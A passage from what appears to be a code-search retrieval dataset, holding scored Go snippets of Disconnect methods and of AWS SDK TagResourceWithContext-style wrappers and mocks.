client.Sctrl.Close(); err != nil {\n\t\treturn err\n\t}\n\n\treturn client.Sintr.Close()\n}", "title": "" }, { "docid": "ed91eb408c48eac47f0dd8ff5f25d4c7", "score": "0.41910765", "text": "func (n *network) disconnectListener() listener {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tif r.Method == http.MethodDelete {\n\t\t\tvar a, p string = r.Header.Get(peeraddress), r.Header.Get(peerport)\n\t\t\tn.node.leave <- Peer{p, a}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "c2a24bfc4b3a4e0549c79136c1668c24", "score": "0.4189233", "text": "func Disconnect(db *sql.DB) {\n\tdb.Close()\n}", "title": "" }, { "docid": "d95ade63e308a8067ba7f57650c354d4", "score": "0.41695973", "text": "func (e *EventListener) Disconnect() {\n\t// Handle locking\n\te.r.eventListenersLock.Lock()\n\tdefer e.r.eventListenersLock.Unlock()\n\n\tif e.ctx.Err() != nil {\n\t\treturn\n\t}\n\n\t// Locate and remove it from the global list\n\tfor i, listener := range e.r.eventListeners[e.projectName] {\n\t\tif listener == e {\n\t\t\tcopy(e.r.eventListeners[e.projectName][i:], e.r.eventListeners[e.projectName][i+1:])\n\t\t\te.r.eventListeners[e.projectName][len(e.r.eventListeners[e.projectName])-1] = nil\n\t\t\te.r.eventListeners[e.projectName] = e.r.eventListeners[e.projectName][:len(e.r.eventListeners[e.projectName])-1]\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// Turn off the handler\n\te.err = nil\n\te.ctxCancel()\n}", "title": "" }, { "docid": "fd25a33cda52b70747f7bc914f4a93c1", "score": "0.41672978", "text": "func (s *Session) Disconnect() error {\n\tif s.db == nil {\n\t\treturn nil\n\t}\n\treturn s.db.Close()\n}", "title": "" }, { "docid": "7bd7400e1cc5b4655f183c6a00363104", "score": "0.41651204", "text": "func Disconnect(mt int, player *models.BasePlayer) {\n\tglobal.Players.RemovePlayer(player)\n\t//SendPlayerList()\n\tutil.LogToConsole(\"Connected Players:\", global.Players.GetPlayerCount())\n}", "title": "" }, { "docid": "547d373997baafa3ba42429bb2dbcbf1", "score": "0.41614765", "text": "func (gc *GraphiteClient) Disconnect() error {\n\terr := gc.conn.Close()\n\tgc.conn = nil\n\treturn err\n}", "title": "" }, { "docid": "f9993bbe2d3cd81633a37eb3f6382fda", "score": "0.4158701", "text": "func disown(X *xgbutil.XUtil, ev xevent.SelectionClearEvent) {\n\tlogger.Message.Println(\n\t\t\"Some other window manager is replacing us. Exiting...\")\n\txevent.Quit(X)\n}", "title": "" }, { "docid": "59fc0a716fed7a2b1bd64a3540995d22", "score": "0.4147875", "text": "func (client *RelayMQClient) Disconnect() {\n\tclient.disconnectChan <- 1\n}", "title": "" }, { "docid": "7905811b416bb205d114ae61808da9f6", "score": "0.41339725", "text": "func (c *Conn) Disconnect() {\n\tc.close()\n}", "title": "" }, { "docid": "4bf4a62e1c180fdaa4fe131a3c021eae", "score": "0.41230264", "text": "func (l *Logic) Disconnect(c context.Context, mid int64, key, server string) (has bool, err error) {\n\tif has, err = l.dao.DelMapping(c, mid, key, server); err != nil {\n\t\tlog.Errorf(\"l.dao.DelMapping(%d,%s) error(%v)\", mid, key, server)\n\t\treturn\n\t}\n\tlog.Infof(\"conn disconnected key:%s server:%s mid:%d\", key, server, mid)\n\treturn\n}", "title": "" }, { "docid": "809aa9cf3248f592835479c9ba150131", "score": "0.41174382", "text": "func (c *Client) Disconnect() (err error) {\n\tdefer c.transport.Close()\n\n\tid, err := newUUID()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tch := c.receipts.Mark(id)\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tc.receipts.Clear(id)\n\t\t}\n\t}()\n\n\terr = c.transport.Disconnect(id)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tselect {\n\tcase <-ch:\n\tcase <-c.receipts.closed:\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "7e1f0b9bd5b314d313aa0be2b92962f8", "score": "0.41099206", "text": "func (b *Broker) Disconnect(client Client) {\n\tb.disconnects <- client\n}", "title": "" }, { "docid": "4e5be3dfe6576cb1ed02b053993a76d4", "score": "0.41045046", "text": "func (bot *Bot) Disconnect() {\n\tselect {\n\tcase _, ok := <-bot.disconnected:\n\t\tif ok {\n\t\t\tclose(bot.disconnected)\n\t\t}\n\tdefault:\n\t}\n}", "title": "" }, { "docid": "80fb36d8b6242dcff3937772cce3d367", "score": "0.4103722", "text": "func (c *Client) Disconnect() error {\n\tif c.conn != nil {\n\t\terr := c.conn.Close()\n\t\tc.conn = nil\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"closing connection: %w\", err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "9921766ae36476e359aa5c1f1640df41", "score": "0.4093435", "text": "func (n *Node) Disconnect(user string, reconnect bool) error {\n\t// first disconnect user from this node\n\terr := n.hub.disconnect(user, reconnect)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// second send disconnect control message to other nodes\n\treturn n.pubDisconnect(user, reconnect)\n}", "title": "" }, { "docid": "d4950cbe677c00c9f72abf2bda8028e5", "score": "0.409281", "text": "func (c *MqttClient) Disconnect() {\n\tif c.client.IsConnected() {\n\t\tc.Lock()\n\t\tdefer c.Unlock()\n\t\tc.client.Disconnect(250)\n\t}\n}", "title": "" } ]
b12f8942862a1d7e2dcd70dc7579d4dc
TagResourceWithContext is the same as TagResource with the addition of the ability to pass a context and additional request options. See TagResource for details on how to use this API operation. The context must be nonnil and will be used for request cancellation. If the context is nil a panic will occur. In the future the SDK may create subcontexts for http.Requests. See for more information on using Contexts.
[ { "docid": "29215b99af35bc709ffafd0941e7243f", "score": "0.84524626", "text": "func (c *QLDB) TagResourceWithContext(ctx aws.Context, input *TagResourceInput, opts ...request.Option) (*TagResourceOutput, error) {\n\treq, out := c.TagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" } ]
[ { "docid": "d85341e302dca8977e093a797fa6ab89", "score": "0.88239086", "text": "func (c *SNS) TagResourceWithContext(ctx aws.Context, input *TagResourceInput, opts ...request.Option) (*TagResourceOutput, error) {\n\treq, out := c.TagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "4818baea218f64cb182cbd9ac1e32b29", "score": "0.8716036", "text": "func (c *CloudWatch) TagResourceWithContext(ctx aws.Context, input *TagResourceInput, opts ...request.Option) (*TagResourceOutput, error) {\n\treq, out := c.TagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "430fcc44e21503db8d2503786b356248", "score": "0.8695465", "text": "func (c *BillingConductor) TagResourceWithContext(ctx aws.Context, input *TagResourceInput, opts ...request.Option) (*TagResourceOutput, error) {\n\treq, out := c.TagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "a9568b7014b7c9edc8d3312bb42873d5", "score": "0.8651846", "text": "func (c *AppIntegrationsService) TagResourceWithContext(ctx aws.Context, input *TagResourceInput, opts ...request.Option) (*TagResourceOutput, error) {\n\treq, out := c.TagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "45c9a2a1d206dcc6f28b16ff643b0ac0", "score": "0.86296266", "text": "func (c *Appflow) TagResourceWithContext(ctx aws.Context, input *TagResourceInput, opts ...request.Option) (*TagResourceOutput, error) {\n\treq, out := c.TagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "2e7c1b31bed8e90e5295e9b18a0792fa", "score": "0.86270607", "text": "func (c *AlexaForBusiness) TagResourceWithContext(ctx aws.Context, input *TagResourceInput, opts ...request.Option) (*TagResourceOutput, error) {\n\treq, out := c.TagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "ccf24b85810bfc803c345e2ed71fb8f8", "score": "0.861177", "text": "func (c *Panorama) TagResourceWithContext(ctx aws.Context, input *TagResourceInput, opts ...request.Option) (*TagResourceOutput, error) {\n\treq, out := c.TagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "645b4dc2d4310834d861420f48a0f89e", "score": "0.8609763", "text": "func (c *PrometheusService) TagResourceWithContext(ctx aws.Context, input *TagResourceInput, opts ...request.Option) (*TagResourceOutput, error) {\n\treq, out := c.TagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "5caf006086ab81cc27a6a0da28c526d3", "score": "0.8583069", "text": "func (c *MedicalImaging) TagResourceWithContext(ctx aws.Context, input *TagResourceInput, opts ...request.Option) (*TagResourceOutput, error) {\n\treq, out := c.TagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "6b4edce849bd3a08545e2007b799bcf8", "score": "0.8582295", "text": "func (c *SWF) TagResourceWithContext(ctx aws.Context, input *TagResourceInput, opts ...request.Option) (*TagResourceOutput, error) {\n\treq, out := c.TagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "2b7e583ab7b1d027d05b3e644c7c5cb4", "score": "0.85790783", "text": "func (c *XRay) TagResourceWithContext(ctx aws.Context, input *TagResourceInput, opts ...request.Option) (*TagResourceOutput, error) {\n\treq, out := c.TagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "8311c27d45c5d06b7534f84836fb11d2", "score": "0.8570997", "text": "func (c *Schemas) TagResourceWithContext(ctx aws.Context, input *TagResourceInput, opts ...request.Option) (*TagResourceOutput, error) {\n\treq, out := c.TagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "79efd3de1e8fb630822dace8c9e642a3", "score": "0.8542306", "text": "func (c *CodePipeline) TagResourceWithContext(ctx aws.Context, input *TagResourceInput, opts ...request.Option) (*TagResourceOutput, error) {\n\treq, out := c.TagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "f86a14326037f00f23d78ba692cdd960", "score": "0.8517802", "text": "func (c *AuditManager) TagResourceWithContext(ctx aws.Context, input *TagResourceInput, opts ...request.Option) (*TagResourceOutput, error) {\n\treq, out := c.TagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "e00299f4761bbcad5bfabdf9de832bc8", "score": "0.6999608", "text": "func (mr *MockKMSAPIMockRecorder) TagResourceWithContext(arg0, arg1 interface{}, arg2 ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{arg0, arg1}, arg2...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"TagResourceWithContext\", reflect.TypeOf((*MockKMSAPI)(nil).TagResourceWithContext), varargs...)\n}", "title": "" }, { "docid": "8bbb8457f9633e73d4ee3513c04624b9", "score": "0.69125795", "text": "func (m *MockKMSAPI) TagResourceWithContext(arg0 context.Context, arg1 *kms.TagResourceInput, arg2 ...request.Option) (*kms.TagResourceOutput, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"TagResourceWithContext\", varargs...)\n\tret0, _ := ret[0].(*kms.TagResourceOutput)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "5acf0e5fe3470343cbe222d94dd9036d", "score": "0.6881325", "text": "func (mr *MockShieldMockRecorder) TagResourceWithContext(arg0, arg1 interface{}, arg2 ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{arg0, arg1}, arg2...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"TagResourceWithContext\", reflect.TypeOf((*MockShield)(nil).TagResourceWithContext), varargs...)\n}", "title": "" }, { "docid": "68478be031b6e19b52ee1d24a06fd4a2", "score": "0.68253535", "text": "func (m *MockShield) TagResourceWithContext(arg0 context.Context, arg1 *shield.TagResourceInput, arg2 ...request.Option) (*shield.TagResourceOutput, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"TagResourceWithContext\", varargs...)\n\tret0, _ := ret[0].(*shield.TagResourceOutput)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "6dbed9ec805d28060b8f80713928c2c4", "score": "0.6824297", "text": "func (mr *MockECSAPIMockRecorder) TagResourceWithContext(arg0, arg1 interface{}, arg2 ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{arg0, arg1}, arg2...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"TagResourceWithContext\", reflect.TypeOf((*MockECSAPI)(nil).TagResourceWithContext), varargs...)\n}", "title": "" }, { "docid": "dd65f825cf277657b2ddadeb966d374d", "score": "0.677398", "text": "func (c *CloudHSM) AddTagsToResourceWithContext(ctx aws.Context, input *AddTagsToResourceInput, opts ...request.Option) (*AddTagsToResourceOutput, error) {\n\treq, out := c.AddTagsToResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "42017d94a4b82a9de7bf2ba5d51a5d4a", "score": "0.67270315", "text": "func (m *MockECSAPI) TagResourceWithContext(arg0 context.Context, arg1 *ecs.TagResourceInput, arg2 ...request.Option) (*ecs.TagResourceOutput, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"TagResourceWithContext\", varargs...)\n\tret0, _ := ret[0].(*ecs.TagResourceOutput)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "9920d0947804c9f1fb771a8be81f4e0a", "score": "0.65935093", "text": "func (c *DatabaseMigrationService) AddTagsToResourceWithContext(ctx aws.Context, input *AddTagsToResourceInput, opts ...request.Option) (*AddTagsToResourceOutput, error) {\n\treq, out := c.AddTagsToResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "400f94d22137bcc5b243daed6a30135b", "score": "0.657756", "text": "func (c *CloudWatch) UntagResourceWithContext(ctx aws.Context, input *UntagResourceInput, opts ...request.Option) (*UntagResourceOutput, error) {\n\treq, out := c.UntagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "49d5530674eb873606f1e459f50972d1", "score": "0.6482546", "text": "func (c *XRay) UntagResourceWithContext(ctx aws.Context, input *UntagResourceInput, opts ...request.Option) (*UntagResourceOutput, error) {\n\treq, out := c.UntagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "dd1bccd0a68030db59ea9639e45c9753", "score": "0.6479131", "text": "func (c *AuditManager) UntagResourceWithContext(ctx aws.Context, input *UntagResourceInput, opts ...request.Option) (*UntagResourceOutput, error) {\n\treq, out := c.UntagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "b0825c81dd31dc2249e0d370b2081df2", "score": "0.64779955", "text": "func (c *Appflow) UntagResourceWithContext(ctx aws.Context, input *UntagResourceInput, opts ...request.Option) (*UntagResourceOutput, error) {\n\treq, out := c.UntagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "83a4cfcfd3cf938577ff54937a91f830", "score": "0.64757305", "text": "func (c *Schemas) UntagResourceWithContext(ctx aws.Context, input *UntagResourceInput, opts ...request.Option) (*UntagResourceOutput, error) {\n\treq, out := c.UntagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "01ff2a6924ebc79fdaa254c7933dda33", "score": "0.64675957", "text": "func (c *Panorama) UntagResourceWithContext(ctx aws.Context, input *UntagResourceInput, opts ...request.Option) (*UntagResourceOutput, error) {\n\treq, out := c.UntagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "2bce4e2bf5ad7223e3702d7476235879", "score": "0.6447122", "text": "func (c *SWF) UntagResourceWithContext(ctx aws.Context, input *UntagResourceInput, opts ...request.Option) (*UntagResourceOutput, error) {\n\treq, out := c.UntagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "e970ffe520f8986c4a4f70c282209f5a", "score": "0.6403155", "text": "func (c *AlexaForBusiness) UntagResourceWithContext(ctx aws.Context, input *UntagResourceInput, opts ...request.Option) (*UntagResourceOutput, error) {\n\treq, out := c.UntagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "a0965e4e73cdda6f9091e6d82c9339b1", "score": "0.6392396", "text": "func (c *MedicalImaging) UntagResourceWithContext(ctx aws.Context, input *UntagResourceInput, opts ...request.Option) (*UntagResourceOutput, error) {\n\treq, out := c.UntagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "fbae9eb069b13010bea4e251131efd20", "score": "0.6373366", "text": "func (c *QLDB) UntagResourceWithContext(ctx aws.Context, input *UntagResourceInput, opts ...request.Option) (*UntagResourceOutput, error) {\n\treq, out := c.UntagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "1ac3dee182cd32cacbdc1cdc789e8138", "score": "0.63551843", "text": "func (c *SNS) UntagResourceWithContext(ctx aws.Context, input *UntagResourceInput, opts ...request.Option) (*UntagResourceOutput, error) {\n\treq, out := c.UntagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "2245db01e011d005764a6291d7292774", "score": "0.635057", "text": "func (c *PrometheusService) UntagResourceWithContext(ctx aws.Context, input *UntagResourceInput, opts ...request.Option) (*UntagResourceOutput, error) {\n\treq, out := c.UntagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "4eab1d2d5404027d7ed0fe74cd6ae332", "score": "0.6350025", "text": "func (c *CodePipeline) UntagResourceWithContext(ctx aws.Context, input *UntagResourceInput, opts ...request.Option) (*UntagResourceOutput, error) {\n\treq, out := c.UntagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "c34b8544c297f92d4746b1ac64857a68", "score": "0.6337421", "text": "func (_e *LambdaApi_Expecter) TagResourceWithContext(_a0 interface{}, _a1 interface{}, _a2 ...interface{}) *LambdaApi_TagResourceWithContext_Call {\n\treturn &LambdaApi_TagResourceWithContext_Call{Call: _e.mock.On(\"TagResourceWithContext\",\n\t\tappend([]interface{}{_a0, _a1}, _a2...)...)}\n}", "title": "" }, { "docid": "76be12c15806000a3b9c4f54a3eac93f", "score": "0.62537134", "text": "func (c *AppIntegrationsService) UntagResourceWithContext(ctx aws.Context, input *UntagResourceInput, opts ...request.Option) (*UntagResourceOutput, error) {\n\treq, out := c.UntagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "1606553f4f56e29025ba23f8de9fd431", "score": "0.6220382", "text": "func (c *BillingConductor) UntagResourceWithContext(ctx aws.Context, input *UntagResourceInput, opts ...request.Option) (*UntagResourceOutput, error) {\n\treq, out := c.UntagResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "7da7d6bf1c5155f7dcd712077afc5ee7", "score": "0.620855", "text": "func (c *CloudHSM) RemoveTagsFromResourceWithContext(ctx aws.Context, input *RemoveTagsFromResourceInput, opts ...request.Option) (*RemoveTagsFromResourceOutput, error) {\n\treq, out := c.RemoveTagsFromResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "e46b1ab92fb49040f882736790d82409", "score": "0.59062994", "text": "func (c *DatabaseMigrationService) RemoveTagsFromResourceWithContext(ctx aws.Context, input *RemoveTagsFromResourceInput, opts ...request.Option) (*RemoveTagsFromResourceOutput, error) {\n\treq, out := c.RemoveTagsFromResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "0b541c613349dcdb6222d323b74fa046", "score": "0.5851498", "text": "func (m *MockSSMAPI) RemoveTagsFromResourceWithContext(arg0 context.Context, arg1 *ssm.RemoveTagsFromResourceInput, arg2 ...request.Option) (*ssm.RemoveTagsFromResourceOutput, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"RemoveTagsFromResourceWithContext\", varargs...)\n\tret0, _ := ret[0].(*ssm.RemoveTagsFromResourceOutput)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "505977cb4598e600fbe1fe163d0b6af1", "score": "0.57485086", "text": "func (c *ELB) DescribeTagsWithContext(ctx aws.Context, input *DescribeTagsInput, opts ...request.Option) (*DescribeTagsOutput, error) {\n\treq, out := c.DescribeTagsRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "531336ad4049533353cb0b36a20b2124", "score": "0.57260895", "text": "func (_m *SitewiseClient) TagResourceWithContext(_a0 context.Context, _a1 *iotsitewise.TagResourceInput, _a2 ...request.Option) (*iotsitewise.TagResourceOutput, error) {\n\t_va := make([]interface{}, len(_a2))\n\tfor _i := range _a2 {\n\t\t_va[_i] = _a2[_i]\n\t}\n\tvar _ca []interface{}\n\t_ca = append(_ca, _a0, _a1)\n\t_ca = append(_ca, _va...)\n\tret := _m.Called(_ca...)\n\n\tvar r0 *iotsitewise.TagResourceOutput\n\tif rf, ok := ret.Get(0).(func(context.Context, *iotsitewise.TagResourceInput, ...request.Option) *iotsitewise.TagResourceOutput); ok {\n\t\tr0 = rf(_a0, _a1, _a2...)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*iotsitewise.TagResourceOutput)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(context.Context, *iotsitewise.TagResourceInput, ...request.Option) error); ok {\n\t\tr1 = rf(_a0, _a1, _a2...)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "4e263777ad4eb5277880375b2a379b96", "score": "0.5715825", "text": "func (_m *LambdaApi) TagResourceWithContext(_a0 context.Context, _a1 *lambda.TagResourceInput, _a2 ...request.Option) (*lambda.TagResourceOutput, error) {\n\t_va := make([]interface{}, len(_a2))\n\tfor _i := range _a2 {\n\t\t_va[_i] = _a2[_i]\n\t}\n\tvar _ca []interface{}\n\t_ca = append(_ca, _a0, _a1)\n\t_ca = append(_ca, _va...)\n\tret := _m.Called(_ca...)\n\n\tvar r0 *lambda.TagResourceOutput\n\tvar r1 error\n\tif rf, ok := ret.Get(0).(func(context.Context, *lambda.TagResourceInput, ...request.Option) (*lambda.TagResourceOutput, error)); ok {\n\t\treturn rf(_a0, _a1, _a2...)\n\t}\n\tif rf, ok := ret.Get(0).(func(context.Context, *lambda.TagResourceInput, ...request.Option) *lambda.TagResourceOutput); ok {\n\t\tr0 = rf(_a0, _a1, _a2...)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*lambda.TagResourceOutput)\n\t\t}\n\t}\n\n\tif rf, ok := ret.Get(1).(func(context.Context, *lambda.TagResourceInput, ...request.Option) error); ok {\n\t\tr1 = rf(_a0, _a1, _a2...)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "83e0aba96b1956ea68a692281ab089f9", "score": "0.56824434", "text": "func (c *IAM) TagServerCertificateWithContext(ctx aws.Context, input *TagServerCertificateInput, opts ...request.Option) (*TagServerCertificateOutput, error) {\n\treq, out := c.TagServerCertificateRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "749cd764c31a6d7077bf56893fa82eaa", "score": "0.56659603", "text": "func (c *WorkDocs) SearchResourcesWithContext(ctx aws.Context, input *SearchResourcesInput, opts ...request.Option) (*SearchResourcesOutput, error) {\n\treq, out := c.SearchResourcesRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "1a7996a9eb9179b082f6cd9999f78f95", "score": "0.5653362", "text": "func (c *BillingConductor) ListTagsForResourceWithContext(ctx aws.Context, input *ListTagsForResourceInput, opts ...request.Option) (*ListTagsForResourceOutput, error) {\n\treq, out := c.ListTagsForResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "cf00f148b2ee7784bbf31349eacad3b2", "score": "0.5633516", "text": "func (mr *MockCloudFormationAPIMockRecorder) DescribeStackResourceWithContext(arg0, arg1 interface{}, arg2 ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{arg0, arg1}, arg2...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"DescribeStackResourceWithContext\", reflect.TypeOf((*MockCloudFormationAPI)(nil).DescribeStackResourceWithContext), varargs...)\n}", "title": "" }, { "docid": "e355cbacfc676ea4580c4b4449ca9aa6", "score": "0.5590709", "text": "func (c *XRay) ListTagsForResourceWithContext(ctx aws.Context, input *ListTagsForResourceInput, opts ...request.Option) (*ListTagsForResourceOutput, error) {\n\treq, out := c.ListTagsForResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "c323b605f738280a1ade0274cb8398d6", "score": "0.5540949", "text": "func (m *MockKMSAPI) ListResourceTagsWithContext(arg0 context.Context, arg1 *kms.ListResourceTagsInput, arg2 ...request.Option) (*kms.ListResourceTagsOutput, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"ListResourceTagsWithContext\", varargs...)\n\tret0, _ := ret[0].(*kms.ListResourceTagsOutput)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "e03a83b3d9636c71d5cc31147a20ca0b", "score": "0.5530781", "text": "func (c *Schemas) ListTagsForResourceWithContext(ctx aws.Context, input *ListTagsForResourceInput, opts ...request.Option) (*ListTagsForResourceOutput, error) {\n\treq, out := c.ListTagsForResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "3c2badec09f4f4b766b5a3b58c81213b", "score": "0.55125296", "text": "func (c *SWF) ListTagsForResourceWithContext(ctx aws.Context, input *ListTagsForResourceInput, opts ...request.Option) (*ListTagsForResourceOutput, error) {\n\treq, out := c.ListTagsForResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "0c2382b826fc581b24655642f36032ca", "score": "0.5510897", "text": "func (c *IAM) TagPolicyWithContext(ctx aws.Context, input *TagPolicyInput, opts ...request.Option) (*TagPolicyOutput, error) {\n\treq, out := c.TagPolicyRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "8dc01a9db9c3c22559842bfcb3f09a05", "score": "0.5463221", "text": "func (c *CloudWatch) ListTagsForResourceWithContext(ctx aws.Context, input *ListTagsForResourceInput, opts ...request.Option) (*ListTagsForResourceOutput, error) {\n\treq, out := 